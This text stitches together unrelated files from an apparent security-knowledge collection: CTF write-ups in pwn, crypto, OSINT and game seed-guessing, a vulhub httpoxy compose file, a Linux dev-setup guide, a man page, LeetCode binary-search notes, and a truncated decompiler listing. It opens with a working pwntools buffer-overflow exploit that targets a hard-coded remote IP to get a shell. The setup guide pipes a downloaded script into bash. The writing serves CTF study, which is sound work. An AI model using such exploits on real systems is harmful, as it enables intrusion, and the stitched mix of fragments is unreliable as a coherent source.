➜ gets one_gadget /lib/x86_64-linux-gnu/libc.so.6 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL ``` 使用如下 exp 继续爆破, ```python from pwn import * context.terminal = ['tmux', 'split', '-h'] #context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] if args['DEBUG']: context.log_level = 'debug' elfpath = './gets' context.binary = elfpath elf = ELF(elfpath) bits = elf.bits def exp(ip, port): for i in range(0x1000): if args['REMOTE']: p = remote(ip, port) else: p = process(elfpath, timeout=2) # gdb.attach(p) try: payload = 0x18 * 'a' + p64(0x40059B) for _ in range(2): payload += 'a' * 8 * 5 + p64(0x40059B) payload += 'a' * 8 * 5 + '\x16\02' p.sendline(payload) p.sendline('ls') data = p.recv() print data p.interactive() p.close() except Exception: p.close() continue if __name__ == "__main__": exp('106.75.4.189', 35273) ``` 最后获取到 shell。 ```python $ ls exp.py gets ``` ### 题目
sec-knowleage
#在 Linux 上快速配置开发环境 作者本人用 ubuntu/deepin 系统,所以这里的教程都用 ubuntu/deepin 系统 ### 先安装 curl curl是利用URL语法在命令行方式下工作的开源文件传输工具 ``` sudo apt-get update sudo apt-get install curl ``` ### 安装 nvm nvm 是 node 版本管理工具,管理 nodejs 版本和 npm 版本 ``` curl -o- https://raw.githubusercontent.com/creationix/nvm/v0.33.0/install.sh | bash ``` #### 参考 > github 地址:[点击进入](https://github.com/creationix/nvm) **注意**:安装成功之后,需要重新开启一个新的命令行窗口 ### 安装 Nodejs Node.js 就是运行在服务端的 JavaScript,基于谷歌 V8 引擎 #### 查看可以选择安装的 node 版本 ``` nvm ls-remote ``` #### 安装 Nodejs ``` nvm install v6.11.1 ``` - 这里我们安装正式版本`6.11.1`的 nodejs(不会因为版本出一些错误) #### 查看安装版本(检查是否安装成功) ``` node -v npm -v ``` 安装完 node 之后,npm 会一块跟着装好 **小贴士**:npm 就是随同 nodeJs 一起安装的包管理工具,npm管理对应 nodeJs 的第三方插件 #### 参考 > `Node.js`官网:[点击进入](https://nodejs.org/en/) > `Node.js`中文网:[点击进入](http://nodejs.cn/) > npm 官网:[点击进入](https://www.npmjs.com/) #### 然后就可以用 npm 进行装包了 最基本的,快速创建 React 环境的包 ``` npm i create-react-app -g ```
sec-knowleage
#!/usr/bin/python import binascii import hashlib import os def rotl(num, bits=64): bit = num & (1 << (bits - 1)) num <<= 1 if (bit): num |= 1 num &= (2 ** bits - 1) return num def rotr(num, bits=64): num &= (2 ** bits - 1) bit = num & 1 num >>= 1 if (bit): num |= (1 << (bits - 1)) return num def encrypt(data, key): encrypted = [] a, b, c = (int(key[i:i + 8], 16) for i in range(0, len(key), 8)) for index, d in enumerate(data): keystream = (b & 0xff) ^ (c & 0xff) # print(keystream) # print(a & 0xff) d = (ord(d) - (a & 0xff)) ^ keystream d = d & 0xff encrypted.append(chr(d)) a = rotr(a) b = rotl(b) c = rotl(c) print(index, hex(a & 0xff), hex(keystream)) return hashlib.sha1(data).hexdigest() + "".join(encrypted).encode('hex') def main(): secret = 'DCTF{...}' key = binascii.b2a_hex(os.urandom(12)) encrypted = encrypt(secret, key) print(encrypted) ct = 'a22d0fb9f707b153ab68472082d1f3e977a23f3dc0de469388ec3a56131943eba1873071f7fc01b5fc31b5335056286f5d7634735f35776a74' main()
sec-knowleage
version: '2' services: nginx: image: nginx:1 volumes: - ./www/index.php:/usr/share/nginx/html/index.php - ./nginx/default.conf:/etc/nginx/conf.d/default.conf depends_on: - php ports: - "8080:80" php: image: vulhub/php:httpoxy volumes: - ./www/index.php:/var/www/html/index.php
sec-knowleage
## SecCoding (Misc, 100p) > You should fix vulnerabilities of the given source code, WITHOUT changing its normal behaviour. Link ###ENG [PL](#pl-version) We are given following code, and are tasked with repairing bugs and vulnerabilities in it: ```cpp #include <vector> #include <iostream> #include <windows.h> using namespace std; int main() { vector<char> str(MAX_PATH); cout << "Enter your name: "; cin >> str.data(); cout << "Hello " << str.data() << " :)" << endl; return -14; } ``` This code is so bad, that if anyone seriously wrote code like that, he should immediately give up on programming and become baker instead. We don't even try to repair this program, we just scrap it and write everything from zero: ```cpp #include <iostream> #include <string> using namespace std; int main() { string str; cout << "Enter your name: "; cin >> str; cout << "Hello " << str << " :)" << endl; return -14; } ``` Challenge solved. ###PL version Dostajemy taki kod i mamy go poprawić: ```cpp #include <vector> #include <iostream> #include <windows.h> using namespace std; int main() { vector<char> str(MAX_PATH); cout << "Enter your name: "; cin >> str.data(); cout << "Hello " << str.data() << " :)" << endl; return -14; } ``` Jest on tak dramatycznie napisany, że jeśli ktoś faktycznie napisał taki kod powinien prawdopodobnie zrezygnować z kariery programisty i przemyśleć karierę piekarza. Darujemy sobie poprawki i po prostu piszemy go od zera: ```cpp #include <iostream> #include <string> using namespace std; int main() { string str; cout << "Enter your name: "; cin >> str; cout << "Hello " << str << " :)" << endl; return -14; } ``` Zadanie rozwiązane.
sec-knowleage
.TH SHOWKEY 1 "09 Oct 1997" "Console tools" "Linux User's Manual" .SH NAME showkey \- 检查来自键盘的扫描码和键盘码 .SH "总览 (SYNOPSIS)" .BI "showkey [ -[" hVskm "] | " --help " | " --version " | " --scancodes .BI "| " --keycodes " | " --keymap " ] [ " -t " N | " --timeout= "N ]" .SH "描述 (DESCRIPTION)" .PP 按下/松开 任一个 键 时, .B showkey 在 标准输出 显示 对应的 扫描码(scan code), 键盘码(keycode), 或者 字符值. 如果 连续 10 秒钟 没发生 按下/松开 按键 事件 (该值 可用 .I --timeout 或 .I -t 设置), 本程序 自动 结束. 来自 其他进程 的 某些 信号 也可以 结束 程序, 例如 SIGTERM. .B showkey 有 三种 操作模式, 显示 扫描码, 键盘码, 以及 测试 键盘映射(keymap), 可以 通过 命令行选项 选择 操作模式. .SH "命令 (COMMAND)" .TP .I \-h, \-\-help .B showkey 在 标准错误 上 显示 版本号, 简短 的 用法, 然后 结束. .TP .I \-V, \-\-version .B showkey 在 标准错误 上 显示 版本号, 然后 结束. .TP .I \-s, \-\-scancodes 显示 扫描码. 在 这个模式 下, .B showkey 以 十六进制数 形式 显示 来自 键盘 的 每个 字节. 如果 两个 字节 间隔 达到 0.1 秒, 或者 接收缓冲 已满, showkey 就 输出 一个 换行符. 可以 用它 大致 确定 某个键 按下 时, 键盘 输出 什么 字节序列. 扫描码模式 主要 用来 调试 键盘驱动程序, 或者 其他 类似的 低层 接口. 终端用户 对它 不太有 兴趣. .TP .I \-k, \-\-keycodes 显示 键盘码. 这是 缺省模式. 在 这个模式 下, .B showkey 显示 每个键 按下 或 松开 时 对应的 键盘码. 键盘码 是 内核 分配给 每个 物理 按键 的 数值. 无论 键盘 输出 单个 还是 多个 扫描码, 每个 按键 只能 对应 一个 键盘码. 使用 这个模式, 当 用户 制作 自己的 键盘映射文件 时, .B showkey 能够 查出 所需的 数值. .TP .I \-m, \-\-keymap 显示 键盘映射. 在 这个模式 下, .B showkey 显示 内核 根据 当前 键盘映射表 翻译 出来 的 字符. 它 可能 对 安装程序 的 作者 有用, 允许 用户 在 确认 安装 前 测试 新的 键盘. .SH "选项 (OPTION)" .TP .I \-t N, \-\-timeout=N 这个选项 用于 修改 超时值 (单位为秒), 取代 预设的 10 秒. .SH "作者 (AUTHOR)" .B Showkey 是 Risto Kankkunen 为 kbd-0.81 开发的. .PP 后来 Yann Dirson <dirson@debian.org> 做了 扩展, 使它 能够 支持 .I --keymap 命令 和 .I --timeout 选项. .SH BUGS .I --keymap 模式 应该 报告 动作键 (action key) 能够 执行 什么 动作, 而不是 执行 这些 动作. .SH "另见 (SEE ALSO)" .BR loadkeys (1), .BR dumpkeys (1), .BR keymaps (5). .SH "[中文版维护人]" .B 徐明 <xuming@users.sourceforge.net> .SH "[中文版最新更新]" .BR 2003/05/13 .SH "《中国Linux论坛man手册页翻译计划》" .BI http://cmpp.linuxforum.net
sec-knowleage
# Leetcode 题解 - 二分查找 <!-- GFM-TOC --> * [Leetcode 题解 - 二分查找](#leetcode-题解---二分查找) * [1. 求开方](#1-求开方) * [2. 大于给定元素的最小元素](#2-大于给定元素的最小元素) * [3. 有序数组的 Single Element](#3-有序数组的-single-element) * [4. 第一个错误的版本](#4-第一个错误的版本) * [5. 旋转数组的最小数字](#5-旋转数组的最小数字) * [6. 查找区间](#6-查找区间) <!-- GFM-TOC --> **正常实现** ```text Input : [1,2,3,4,5] key : 3 return the index : 2 ``` ```java public int binarySearch(int[] nums, int key) { int l = 0, h = nums.length - 1; while (l <= h) { int m = l + (h - l) / 2; if (nums[m] == key) { return m; } else if (nums[m] > key) { h = m - 1; } else { l = m + 1; } } return -1; } ``` **时间复杂度** 二分查找也称为折半查找,每次都能将查找区间减半,这种折半特性的算法时间复杂度为 O(logN)。 **m 计算** 有两种计算中值 m 的方式: - m = (l + h) / 2 - m = l + (h - l) / 2 l + h 可能出现加法溢出,也就是说加法的结果大于整型能够表示的范围。但是 l 和 h 都为正数,因此 h - l 不会出现加法溢出问题。所以,最好使用第二种计算法方法。 **未成功查找的返回值** 循环退出时如果仍然没有查找到 key,那么表示查找失败。可以有两种返回值: - -1:以一个错误码表示没有查找到 key - l:将 key 插入到 nums 中的正确位置 **变种** 二分查找可以有很多变种,实现变种要注意边界值的判断。例如在一个有重复元素的数组中查找 key 的最左位置的实现如下: ```java public int binarySearch(int[] nums, int key) { int l = 0, h = nums.length; while (l < h) { int m = l + (h - l) / 2; if (nums[m] >= key) { h = m; } else { l = m + 1; } } return l; } ``` 该实现和正常实现有以下不同: - h 的赋值表达式为 h = m - 循环条件为 l \< h - 最后返回 l 而不是 -1 在 nums[m] \>= key 的情况下,可以推导出最左 key 位于 [l, m] 区间中,这是一个闭区间。h 的赋值表达式为 h = m,因为 m 位置也可能是解。 在 h 的赋值表达式为 h = m 的情况下,如果循环条件为 l \<= h,那么会出现循环无法退出的情况,因此循环条件只能是 l \< h。以下演示了循环条件为 l \<= h 时循环无法退出的情况: ```text nums = {0, 1, 2}, key = 1 l m h 0 1 2 nums[m] >= key 0 0 1 nums[m] < key 1 1 1 nums[m] >= key 1 1 1 nums[m] >= key ... ``` 当循环体退出时,不表示没有查找到 key,因此最后返回的结果不应该为 -1。为了验证有没有查找到,需要在调用端判断一下返回位置上的值和 key 是否相等。 ## 1. 求开方 69\. Sqrt(x) (Easy) [Leetcode](https://leetcode.com/problems/sqrtx/description/) / [力扣](https://leetcode-cn.com/problems/sqrtx/description/) ```html Input: 4 Output: 2 Input: 8 Output: 2 Explanation: The square root of 8 is 2.82842..., and since we want to return an integer, the decimal part will be truncated. ``` 一个数 x 的开方 sqrt 一定在 0 \~ x 之间,并且满足 sqrt == x / sqrt。可以利用二分查找在 0 \~ x 之间查找 sqrt。 对于 x = 8,它的开方是 2.82842...,最后应该返回 2 而不是 3。在循环条件为 l \<= h 并且循环退出时,h 总是比 l 小 1,也就是说 h = 2,l = 3,因此最后的返回值应该为 h 而不是 l。 ```java public int mySqrt(int x) { if (x <= 1) { return x; } int l = 1, h = x; while (l <= h) { int mid = l + (h - l) / 2; int sqrt = x / mid; if (sqrt == mid) { return mid; } else if (mid > sqrt) { h = mid - 1; } else { l = mid + 1; } } return h; } ``` ## 2. 大于给定元素的最小元素 744\. Find Smallest Letter Greater Than Target (Easy) [Leetcode](https://leetcode.com/problems/find-smallest-letter-greater-than-target/description/) / [力扣](https://leetcode-cn.com/problems/find-smallest-letter-greater-than-target/description/) ```html Input: letters = ["c", "f", "j"] target = "d" Output: "f" Input: letters = ["c", "f", "j"] target = "k" Output: "c" ``` 题目描述:给定一个有序的字符数组 letters 和一个字符 target,要求找出 letters 中大于 target 的最小字符,如果找不到就返回第 1 个字符。 ```java public char nextGreatestLetter(char[] letters, char target) { int n = letters.length; int l = 0, h = n - 1; while (l <= h) { int m = l + (h - l) / 2; if (letters[m] <= target) { l = m + 1; } else { h = m - 1; } } return l < n ? letters[l] : letters[0]; } ``` ## 3. 有序数组的 Single Element 540\. Single Element in a Sorted Array (Medium) [Leetcode](https://leetcode.com/problems/single-element-in-a-sorted-array/description/) / [力扣](https://leetcode-cn.com/problems/single-element-in-a-sorted-array/description/) ```html Input: [1, 1, 2, 3, 3, 4, 4, 8, 8] Output: 2 ``` 题目描述:一个有序数组只有一个数不出现两次,找出这个数。 要求以 O(logN) 时间复杂度进行求解,因此不能遍历数组并进行异或操作来求解,这么做的时间复杂度为 O(N)。 令 index 为 Single Element 在数组中的位置。在 index 之后,数组中原来存在的成对状态被改变。如果 m 为偶数,并且 m + 1 \< index,那么 nums[m] == nums[m + 1];m + 1 \>= index,那么 nums[m] != nums[m + 1]。 从上面的规律可以知道,如果 nums[m] == nums[m + 1],那么 index 所在的数组位置为 [m + 2, h],此时令 l = m + 2;如果 nums[m] != nums[m + 1],那么 index 所在的数组位置为 [l, m],此时令 h = m。 因为 h 的赋值表达式为 h = m,那么循环条件也就只能使用 l \< h 这种形式。 ```java public int singleNonDuplicate(int[] nums) { int l = 0, h = nums.length - 1; while (l < h) { int m = l + (h - l) / 2; if (m % 2 == 1) { m--; // 保证 l/h/m 都在偶数位,使得查找区间大小一直都是奇数 } if (nums[m] == nums[m + 1]) { l = m + 2; } else { h = m; } } return nums[l]; } ``` ## 4. 第一个错误的版本 278\. First Bad Version (Easy) [Leetcode](https://leetcode.com/problems/first-bad-version/description/) / [力扣](https://leetcode-cn.com/problems/first-bad-version/description/) 题目描述:给定一个元素 n 代表有 [1, 2, ..., n] 版本,在第 x 位置开始出现错误版本,导致后面的版本都错误。可以调用 isBadVersion(int x) 知道某个版本是否错误,要求找到第一个错误的版本。 如果第 m 个版本出错,则表示第一个错误的版本在 [l, m] 之间,令 h = m;否则第一个错误的版本在 [m + 1, h] 之间,令 l = m + 1。 因为 h 的赋值表达式为 h = m,因此循环条件为 l \< h。 ```java public int firstBadVersion(int n) { int l = 1, h = n; while (l < h) { int mid = l + (h - l) / 2; if (isBadVersion(mid)) { h = mid; } else { l = mid + 1; } } return l; } ``` ## 5. 旋转数组的最小数字 153\. Find Minimum in Rotated Sorted Array (Medium) [Leetcode](https://leetcode.com/problems/find-minimum-in-rotated-sorted-array/description/) / [力扣](https://leetcode-cn.com/problems/find-minimum-in-rotated-sorted-array/description/) ```html Input: [3,4,5,1,2], Output: 1 ``` ```java public int findMin(int[] nums) { int l = 0, h = nums.length - 1; while (l < h) { int m = l + (h - l) / 2; if (nums[m] <= nums[h]) { h = m; } else { l = m + 1; } } return nums[l]; } ``` ## 6. 查找区间 34\. Find First and Last Position of Element in Sorted Array [Leetcode](https://leetcode.com/problems/find-first-and-last-position-of-element-in-sorted-array/) / [力扣](https://leetcode-cn.com/problems/find-first-and-last-position-of-element-in-sorted-array/) ```html Input: nums = [5,7,7,8,8,10], target = 8 Output: [3,4] Input: nums = [5,7,7,8,8,10], target = 6 Output: [-1,-1] ``` 题目描述:给定一个有序数组 nums 和一个目标 target,要求找到 target 在 nums 中的第一个位置和最后一个位置。 可以用二分查找找出第一个位置和最后一个位置,但是寻找的方法有所不同,需要实现两个二分查找。我们将寻找 target 最后一个位置,转换成寻找 target+1 第一个位置,再往前移动一个位置。这样我们只需要实现一个二分查找代码即可。 ```java public int[] searchRange(int[] nums, int target) { int first = findFirst(nums, target); int last = findFirst(nums, target + 1) - 1; if (first == nums.length || nums[first] != target) { return new int[]{-1, -1}; } else { return new int[]{first, Math.max(first, last)}; } } private int findFirst(int[] nums, int target) { int l = 0, h = nums.length; // 注意 h 的初始值 while (l < h) { int m = l + (h - l) / 2; if (nums[m] >= target) { h = m; } else { l = m + 1; } } return l; } ``` 在寻找第一个位置的二分查找代码中,需要注意 h 的取值为 nums.length,而不是 nums.length - 1。先看以下示例: ``` nums = [2,2], target = 2 ``` 如果 h 的取值为 nums.length - 1,那么 last = findFirst(nums, target + 1) - 1 = 1 - 1 = 0。这是因为 findLeft 只会返回 [0, nums.length - 1] 范围的值,对于 findFirst([2,2], 3) ,我们希望返回 3 插入 nums 中的位置,也就是数组最后一个位置再往后一个位置,即 nums.length。所以我们需要将 h 取值为 nums.length,从而使得 findFirst返回的区间更大,能够覆盖 target 大于 nums 最后一个元素的情况。
sec-knowleage
# Finding Ducky - Part 1 Category: OSINT, 50 points ## Description > Ducky is missing! A few days ago ducky tweeted that he is on to something big..and then yesterday he tweeted a cryptic messaged, Any attemp of contacting him didn't work and we believe he might have been kidnapped. We think he might have contacted his sister before he disappeared, the last thing she posted was this image, she if you can figure out where she is. > > Note: The flag is `cstechnion{<name of city>}`. An image was attached. ![](images/finding_ducky_pt_1.jpg) ## Solution Using Google's image search engine, we search for the attached image. Google identifies it as: > 85 Sky Tower, formerly known as the T & C Tower or Tuntex Sky Tower, is an 85-story skyscraper in Lingya District, Kaohsiung, Taiwan. Therefore, the flag is `cstechnion{Kaohsiung}`.
sec-knowleage
# Drow number guessing (game/crypto, 60p, 12 solved) This challenge was part of the Arcane Sector 2 game. We have a quest to guess the number an NPC is thinking of. In the server code we can find the way the random number is generated: ```python self.seed = bytearray(os.urandom(32)) def gen_number(self, player): n = 146410935049 for v in self.seed[:16]: n = (n + v * 186577649851) % 257084507917 n = (n ^ (int(time.time()) * 117865751629)) % 257084507917 for v in self.seed[16:]: n = (n + v * 186577649851) % 257084507917 n = (n + player.id * 117865751629) % 257084507917 return n % 10000000000 ``` It might seem problematic, since there are 32 bytes of random seed to consider. However, if we look closely what exactly is done with those values, it becomes much easier. ``` for v in self.seed[:16]: n = (n + v * 186577649851) % 257084507917 ``` This is basically adding up all values from `self.seed[:16]` multiplied by constant `v` and then takes modulo. The loop iterates over each byte of the seed. This literally kills the entropy. If we take 2 bytes, separately they have 8+8=16 bits of entropy. But if we add them, we get a single number `0..(256+256)` so only 9 bits. It's the same here -> initially we had 16 bytes (128 bits), but if we add them, we have a number `0..4096` so only 12 bits. The same happens in the second loop. In the end we can simplify this function to: ```python def gen_number(time_const, player_id_const): n1 = (sum(seed[:16]) * prime1 + n) % prime2 n2 = (n1 ^ time_const) % prime2 n3 = (sum(seed[16:]) * prime1 + n2) % prime2 n4 = (n3 + player_id_const) % prime2 return n4 % 10000000000 ``` Now since we really need only those sums of seeds, we can easily brute-force them, looping over 4096 potential values for each of them. Rest of the data are constants, and the last part is the timestamp, but we know it's epoch. The idea is simple: 1. Go to the gambler and play the game once, sending any random answer. 2. Note the timestamp 3. Get the result from the gambler 4. Brute-force the seed sums using the real value and timestamp 5. Generate new value for some future timestamp 6. Play again at the exact time. Recovering seeds is simple: ```python def recover_seed_sums(result, time_const, player_id_const): for sum1 in range(4096): for sum2 in range(4096): if get_number(sum1, sum2, time_const, player_id_const) == result: return sum1, sum2 ``` And generating new value for given seeds and timestamp: ```python def get_number(sum1, sum2, time_const, player_id_const): n1 = (sum1 * prime1 + n) % prime2 n2 = (n1 ^ time_const) % prime2 n3 = (sum2 * prime1 + n2) % prime2 n4 = (n3 + player_id_const) % prime2 return n4 % 10000000000 ``` ![](drow.png)
sec-knowleage
/* This file has been generated by the Hex-Rays decompiler. Copyright (c) 2007-2017 Hex-Rays <info@hex-rays.com> Detected compiler: GNU C++ */ #include <defs.h> //------------------------------------------------------------------------- // Function declarations __int64 (**init_proc())(void); void sub_4620(); // int printf(const char *format, ...); // __int64 __fastcall __cxa_begin_catch(_QWORD); weak // size_t strlen(const char *s); // int memcmp(const void *s1, const void *s2, size_t n); // __int64 __fastcall __cxa_allocate_exception(_QWORD); weak // __int64 __fastcall __cxa_atexit(_QWORD, _QWORD, _QWORD); weak // _QWORD __cdecl operator new(unsigned __int64); idb // void __noreturn exit(int status); // int scanf(const char *format, ...); // _QWORD std::ios_base::Init::Init(std::ios_base::Init *this); idb // int puts(const char *s); // __int64 __fastcall __cxa_end_catch(_QWORD); weak // __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); weak // void _Unwind_Resume(struct _Unwind_Exception *); // __int64 __fastcall _cxa_finalize(_QWORD); weak __int64 (**sub_4750())(void); __int64 sub_4790(); __int64 (**sub_47E0())(void); __int64 sub_4820(); _QWORD *run_funkies(); void __fastcall __noreturn do_goto(int a1); void __noreturn nope(); void __fastcall main(__int64 a1, char **a2, char **a3); __int64 __fastcall sub_579A(int a1, int a2); __int64 sub_57E3(); _QWORD *__fastcall sub_57F8(_QWORD *a1); void sub_5812(); void __noreturn sub_581E(); void __noreturn sub_58A6(); void __noreturn sub_59A2(); void __noreturn sub_5A2A(); void __noreturn sub_5AB2(); void __noreturn sub_5B58(); void __noreturn sub_5C54(); void __noreturn sub_5CFA(); void __noreturn sub_5DA0(); void __noreturn sub_5E46(); void __noreturn sub_5F42(); void __noreturn sub_5FCA(); void __noreturn sub_60C6(); void __noreturn sub_614E(); void __noreturn sub_624A(); void __noreturn sub_62D4(); void __noreturn sub_635C(); void __noreturn sub_63E4(); void __noreturn sub_646C(); void __noreturn sub_650E(); void __noreturn sub_660A(); void __noreturn sub_66B2(); void __noreturn sub_673C(); void __noreturn sub_6838(); void __noreturn sub_68C0(); void __noreturn sub_6982(); void __noreturn sub_6A46(); void __noreturn sub_6AE8(); void __noreturn sub_6B72(); void __noreturn sub_6BFA(); void __noreturn sub_6C82(); void __noreturn sub_6D0A(); void __noreturn sub_6D92(); void __noreturn sub_6E34(); void __noreturn sub_6F30(); void __noreturn sub_702C(); void __noreturn sub_70B4(); void __noreturn sub_71B0(); void __noreturn sub_72AC(); void __noreturn sub_73A8(); void __noreturn sub_7432(); void __noreturn sub_74BC(); void __noreturn sub_75B8(); void __noreturn sub_76B4(); void __noreturn sub_773C(); void __noreturn sub_77C6(); void __noreturn sub_786C(); void __noreturn sub_78F6(); void __noreturn sub_7970(); void __noreturn sub_7A12(); void __noreturn sub_7A98(); void __noreturn sub_7B1E(); void __noreturn sub_7BA8(); void __noreturn sub_7CA4(); void __noreturn sub_7D2C(); void __noreturn sub_7E28(); void __noreturn sub_7ECE(); void __noreturn sub_7FCA(); void __noreturn sub_8070(); void __noreturn sub_80F8(); void __noreturn sub_819A(); // void __usercall __noreturn sub_827B(__int64 a1@<rax>); void __noreturn sub_833C(); void __noreturn sub_83C4(); void __noreturn sub_844C(); void __noreturn sub_84F2(); void __noreturn sub_8578(); void __noreturn sub_861E(); void __noreturn sub_86A8(); void __noreturn sub_8730(); void __noreturn sub_87D2(); void __noreturn sub_88CE(); void __noreturn sub_8958(); void __noreturn sub_8A54(); void __noreturn sub_8AFA(); void __noreturn sub_8BBC(); void __noreturn sub_8C5E(); void __noreturn sub_8D5A(); void __noreturn sub_8DFC(); void __noreturn sub_8E8E(); void __noreturn sub_8F30(); void __noreturn sub_8FD6(); void __noreturn sub_90D2(); void __noreturn sub_915A(); void __noreturn sub_91D4(); void __noreturn sub_925C(); void __noreturn sub_92EE(); void __noreturn sub_9378(); void __noreturn sub_9400(); void __noreturn sub_9488(); void __noreturn sub_952E(); void __noreturn sub_95B8(); void __noreturn sub_9640(); void __noreturn sub_96E2(); void __noreturn sub_9788(); void __noreturn sub_9810(); void __noreturn sub_9898(); void __noreturn sub_9994(); void __noreturn sub_9A1A(); void __noreturn sub_9B16(); void __noreturn sub_9B9E(); void __noreturn sub_9C40(); void __noreturn sub_9CE8(); void __noreturn sub_9D90(); void __noreturn sub_9E36(); void __noreturn sub_9EFA(); void __noreturn sub_9FA2(); void __noreturn sub_A09E(); void __noreturn sub_A19A(); void __noreturn sub_A296(); void __noreturn sub_A33C(); void __noreturn sub_A438(); void __noreturn sub_A534(); void __noreturn sub_A630(); void __noreturn sub_A72C(); void __noreturn sub_A7CE(); void __noreturn sub_A860(); void __noreturn sub_A95C(); void __noreturn sub_A9E4(); void __noreturn sub_AA6C(); void __noreturn sub_AAFE(); void __noreturn sub_AB86(); void __noreturn sub_AC4A(); _QWORD *__fastcall alloc_base(_QWORD *a1); _QWORD *__fastcall funky_0(_QWORD *a1); _QWORD *__fastcall funky_1(_QWORD *a1); _QWORD *__fastcall sub_AD40(_QWORD *a1); _QWORD *__fastcall sub_AD6A(_QWORD *a1); _QWORD *__fastcall sub_AD94(_QWORD *a1); _QWORD *__fastcall sub_ADBE(_QWORD *a1); _QWORD *__fastcall sub_ADE8(_QWORD *a1); _QWORD *__fastcall sub_AE12(_QWORD *a1); _QWORD *__fastcall sub_AE3C(_QWORD *a1); _QWORD *__fastcall sub_AE66(_QWORD *a1); _QWORD *__fastcall sub_AE90(_QWORD *a1); _QWORD *__fastcall sub_AEBA(_QWORD *a1); _QWORD *__fastcall sub_AEE4(_QWORD *a1); _QWORD *__fastcall sub_AF0E(_QWORD *a1); _QWORD *__fastcall sub_AF38(_QWORD *a1); _QWORD *__fastcall sub_AF62(_QWORD *a1); _QWORD *__fastcall sub_AF8C(_QWORD *a1); _QWORD *__fastcall sub_AFB6(_QWORD *a1); _QWORD *__fastcall sub_AFE0(_QWORD *a1); _QWORD *__fastcall sub_B00A(_QWORD *a1); _QWORD *__fastcall sub_B034(_QWORD *a1); _QWORD *__fastcall sub_B05E(_QWORD *a1); _QWORD *__fastcall sub_B088(_QWORD *a1); _QWORD *__fastcall sub_B0B2(_QWORD *a1); _QWORD *__fastcall sub_B0DC(_QWORD *a1); _QWORD *__fastcall sub_B106(_QWORD *a1); _QWORD *__fastcall sub_B130(_QWORD *a1); _QWORD *__fastcall sub_B15A(_QWORD *a1); _QWORD *__fastcall sub_B184(_QWORD *a1); _QWORD *__fastcall sub_B1AE(_QWORD *a1); _QWORD *__fastcall sub_B1D8(_QWORD *a1); _QWORD *__fastcall sub_B202(_QWORD *a1); _QWORD *__fastcall sub_B22C(_QWORD *a1); _QWORD *__fastcall sub_B256(_QWORD *a1); _QWORD *__fastcall sub_B280(_QWORD *a1); _QWORD *__fastcall sub_B2AA(_QWORD *a1); _QWORD *__fastcall sub_B2D4(_QWORD *a1); _QWORD *__fastcall sub_B2FE(_QWORD *a1); _QWORD *__fastcall sub_B328(_QWORD *a1); _QWORD *__fastcall sub_B352(_QWORD *a1); _QWORD *__fastcall sub_B37C(_QWORD *a1); _QWORD *__fastcall sub_B3A6(_QWORD *a1); _QWORD *__fastcall sub_B3D0(_QWORD *a1); _QWORD *__fastcall sub_B3FA(_QWORD *a1); _QWORD *__fastcall sub_B424(_QWORD *a1); _QWORD *__fastcall sub_B44E(_QWORD *a1); _QWORD *__fastcall sub_B478(_QWORD *a1); _QWORD *__fastcall sub_B4A2(_QWORD *a1); _QWORD *__fastcall sub_B4CC(_QWORD *a1); _QWORD *__fastcall sub_B4F6(_QWORD *a1); _QWORD *__fastcall sub_B520(_QWORD *a1); _QWORD *__fastcall sub_B54A(_QWORD *a1); _QWORD *__fastcall sub_B574(_QWORD *a1); _QWORD *__fastcall sub_B59E(_QWORD *a1); _QWORD *__fastcall sub_B5C8(_QWORD *a1); _QWORD *__fastcall sub_B5F2(_QWORD *a1); _QWORD *__fastcall sub_B61C(_QWORD *a1); _QWORD *__fastcall sub_B646(_QWORD *a1); _QWORD *__fastcall sub_B670(_QWORD *a1); _QWORD *__fastcall sub_B69A(_QWORD *a1); _QWORD *__fastcall sub_B6C4(_QWORD *a1); _QWORD *__fastcall sub_B6EE(_QWORD *a1); _QWORD *__fastcall sub_B718(_QWORD *a1); _QWORD *__fastcall sub_B742(_QWORD *a1); _QWORD *__fastcall sub_B76C(_QWORD *a1); _QWORD *__fastcall sub_B796(_QWORD *a1); _QWORD *__fastcall sub_B7C0(_QWORD *a1); _QWORD *__fastcall sub_B7EA(_QWORD *a1); _QWORD *__fastcall sub_B814(_QWORD *a1); _QWORD *__fastcall sub_B83E(_QWORD *a1); _QWORD *__fastcall sub_B868(_QWORD *a1); _QWORD *__fastcall sub_B892(_QWORD *a1); _QWORD *__fastcall sub_B8BC(_QWORD *a1); _QWORD *__fastcall sub_B8E6(_QWORD *a1); _QWORD *__fastcall sub_B910(_QWORD *a1); _QWORD *__fastcall sub_B93A(_QWORD *a1); _QWORD *__fastcall sub_B964(_QWORD *a1); _QWORD *__fastcall sub_B98E(_QWORD *a1); _QWORD *__fastcall sub_B9B8(_QWORD *a1); _QWORD *__fastcall sub_B9E2(_QWORD *a1); _QWORD *__fastcall sub_BA0C(_QWORD *a1); _QWORD *__fastcall sub_BA36(_QWORD *a1); _QWORD *__fastcall sub_BA60(_QWORD *a1); _QWORD *__fastcall sub_BA8A(_QWORD *a1); _QWORD *__fastcall sub_BAB4(_QWORD *a1); _QWORD *__fastcall sub_BADE(_QWORD *a1); _QWORD *__fastcall sub_BB08(_QWORD *a1); _QWORD *__fastcall sub_BB32(_QWORD *a1); _QWORD *__fastcall sub_BB5C(_QWORD *a1); _QWORD *__fastcall sub_BB86(_QWORD *a1); _QWORD *__fastcall sub_BBB0(_QWORD *a1); _QWORD *__fastcall sub_BBDA(_QWORD *a1); _QWORD *__fastcall sub_BC04(_QWORD *a1); _QWORD *__fastcall sub_BC2E(_QWORD *a1); _QWORD *__fastcall sub_BC58(_QWORD *a1); _QWORD *__fastcall sub_BC82(_QWORD *a1); _QWORD *__fastcall sub_BCAC(_QWORD *a1); _QWORD *__fastcall sub_BCD6(_QWORD *a1); _QWORD *__fastcall sub_BD00(_QWORD *a1); _QWORD *__fastcall sub_BD2A(_QWORD *a1); _QWORD *__fastcall sub_BD54(_QWORD *a1); _QWORD *__fastcall sub_BD7E(_QWORD *a1); _QWORD *__fastcall sub_BDA8(_QWORD *a1); _QWORD *__fastcall sub_BDD2(_QWORD *a1); _QWORD *__fastcall sub_BDFC(_QWORD *a1); _QWORD *__fastcall sub_BE26(_QWORD *a1); _QWORD *__fastcall sub_BE50(_QWORD *a1); 